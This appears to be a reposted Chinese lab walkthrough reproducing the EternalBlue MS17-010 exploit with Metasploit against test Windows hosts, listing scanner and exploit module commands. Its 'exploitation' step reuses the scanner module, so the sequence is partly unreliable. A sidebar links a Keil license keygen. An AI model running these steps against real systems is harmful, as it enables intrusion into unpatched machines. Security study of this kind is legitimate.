1. 全栈程序员必看首页

永恒之蓝（MS17010）漏洞复现

全栈程序员-站长 • • 未分类 • 阅读 273

永恒之蓝（MS17010）漏洞复现文章目录介绍：准备开始复现正式开始利用介绍：永恒之蓝是指2017年4月14日晚，黑客团体ShadowBrokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序准备1.kali的ip：192.168.0.1282.WindowsServer

大家好，又见面了，我是你们的朋友全栈君。

文章目录

介绍：

永恒之蓝是指黑客团体Shadow Brokers公布的大批网络攻击工具，其中就包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞来获取系统最高权限。

恶意代码会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，就可以进行非法操作。

准备

1.kali的ip：192.168.0.128
在这里插入图片描述
2.WindowsServer2003的ip：192.168.0.200
在这里插入图片描述
3.测试连通性：
在这里插入图片描述
在这里插入图片描述

开始复现

1.kali进入msf。 命令：msfconsole
在这里插入图片描述
2.search ms17-010 #搜索ms17010
在这里插入图片描述

  • use auxiliary/scanner/smb/smb_ms17_010 #使用模块
  • show options #显示选项
    在这里插入图片描述
  • set RHOSTS 192.168.0.200 # 设置目标主机
    在这里插入图片描述
  • 输入run或者exploit执行
  • 发现存在漏洞
    在这里插入图片描述

3.通过使用exploit/windows/smb/ms17_010_eternalblue模块进行漏洞攻击

  • use exploit/windows/smb/ms17_010_eternalblue
  • set rhosts 192.168.0.200 #设置被攻击端IP
  • run #执行

在这里插入图片描述
发现这个exp只能对64位的系统执行攻击。惨兮兮！！
哎，重来吧。
win7ip：192.168.0.129在这里插入图片描述
测试连通也没问题

正式开始利用

  1. use auxiliary/scanner/smb/smb_ms17_010 # 使用模块
    set rhosts 192.168.0.129 #设置目标IP
    run
    在这里插入图片描述
    发现存在漏洞。
    2.漏洞利用
  • use auxiliary/scanner/smb/smb_ms17_010
  • set rhosts 192.168.0.129
  • run
    在这里插入图片描述
    发现攻击成功。
    然后就可以为所欲为了。
    在这里插入图片描述
    发现有乱码，可以使用chcp 65001命令消除乱码。
    在这里插入图片描述
    至此复现结束。
版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请联系我们举报，一经查实，本站将立刻删除。

发布者：全栈程序员-站长，转载请注明出处：https://javaforall.net/135847.html原文链接：https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长
0 0


相关推荐

  • webapp开发框架选择注意点[通俗易懂]

    webapp开发框架选择注意点[通俗易懂]

    webapp开发框架选择注意点[通俗易懂]webapp开发框架选择需要注意：第一步：开发支持的语言类型根据前端开发人员的能力，来选择webapp开发框架。例如：前端人员只会写react就要求webapp开发框架支持react。第二步：查看webapp开发框架文档是否齐全例如：功能性API的详细使用文档和示例等插件功能示例代码第三步：确认webapp开发框架能否满足项目需求确认APP的功能是否都能满足，开发难易程度开发的APP复杂度、功能是否能满足，交互比较多，业务逻辑比较复杂，找到对应功能点，提前确

    全栈程序员-站长的头像 全栈程序员-站长
    2022年6月15日
    28
  • Keil注册机_Keil注册机下载

    Keil注册机_Keil注册机下载

    Keil注册机_Keil注册机下载1.最新的Keil注册机，注册后可以使用到2032年。注册机下载链接：https://pan.baidu.com/s/1tamsdx_5J0yPF5o4nzaaQg提取码：htlf2.注册机使用步骤（1）打开KeiluVision5。注意：一定要使用管理员权限打开！！！！（2）找到keil的license(3)打开注册机并完成注册…

    全栈程序员-站长的头像 全栈程序员-站长
    2022年4月19日
    54
  • cubieboard 用户 密码 root「建议收藏」

    cubieboard 用户 密码 root「建议收藏」

    cubieboard 用户 密码 root「建议收藏」因为不是超级用户root，所以你进行任何操作都要使用sudo在命令的前面。启用root的方法：sudopasswdroot输入新的root密码2次，确认后。就激活了root账户，就可以使用root登录，以后就具备了最高权限。先解除root锁定，为root用户设置密码#sudopasswdPassword:EnternewUNIXpasswo

    全栈程序员-站长的头像 全栈程序员-站长
    2022年7月22日
    15
  • MFC 读取EXCEL中数据[通俗易懂]

    MFC 读取EXCEL中数据[通俗易懂]

    MFC 读取EXCEL中数据[通俗易懂]MFC读取Excel例子(2013-01-1200:04:24)转载▼标签：365mfcit分类：MFC-office操作1.       首先要将excel类添加到工程中。在ClassWizard中，【AddClass】，在Excel的安装目录找到Excel.exe（Microsoft2003是Excel

    全栈程序员-站长的头像 全栈程序员-站长
    2022年6月15日
    25
  • AI算法实现与云平台应用

    AI算法实现与云平台应用

    AI算法实现与云平台应用陈迪豪，第四范式先知平台架构师。个人兴趣广泛，在开源社区比较活跃，维护了1600+star的容器Web管理平台Seagull。大二加入了小米做Android移动端开发，然后有幸学习到后端基础架构技术，参与了HBase、ZooKeeper等社区开发，并且开源了NewSQL依赖的全局严格递增timestamp服务chronos，对分布式存储有一定了解。后来加入云服务创业公司UnitedStack，负

    全栈程序员-站长的头像 全栈程序员-站长
    2022年5月12日
    40
  • php获取server端mac和clientmac的地址[通俗易懂]

    php获取server端mac和clientmac的地址[通俗易懂]

    php获取server端mac和clientmac的地址

    全栈程序员-站长的头像 全栈程序员-站长
    2022年1月22日
    45

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号